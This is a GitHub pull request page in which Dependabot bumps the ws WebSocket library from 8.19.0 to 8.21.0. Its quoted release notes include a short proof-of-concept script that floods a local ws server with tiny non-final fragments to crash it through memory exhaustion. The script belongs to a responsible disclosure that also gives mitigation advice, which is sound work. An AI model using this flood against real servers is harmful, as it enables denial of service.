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Bump ws from 8.19.0 to 8.21.0 in /mbTest#925

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mattherman merged 1 commit into
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dependabot/npm_and_yarn/mbTest/ws-8.21.0
May 28, 2026
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Bump ws from 8.19.0 to 8.21.0 in /mbTest#925
mattherman merged 1 commit into
masterfrom
dependabot/npm_and_yarn/mbTest/ws-8.21.0

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@dependabot dependabot Bot commented on behalf of github May 28, 2026

Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels May 28, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/mbTest/ws-8.21.0 branch 3 times, most recently from 527c290 to b0c7d91 Compare May 28, 2026 20:29
@mattherman
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@dependabot rebase

Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/mbTest/ws-8.21.0 branch from b0c7d91 to 08f4888 Compare May 28, 2026 20:40
@sonarqubecloud
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@mattherman mattherman merged commit 67bfca7 into master May 28, 2026
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@mattherman mattherman deleted the dependabot/npm_and_yarn/mbTest/ws-8.21.0 branch May 28, 2026 20:56
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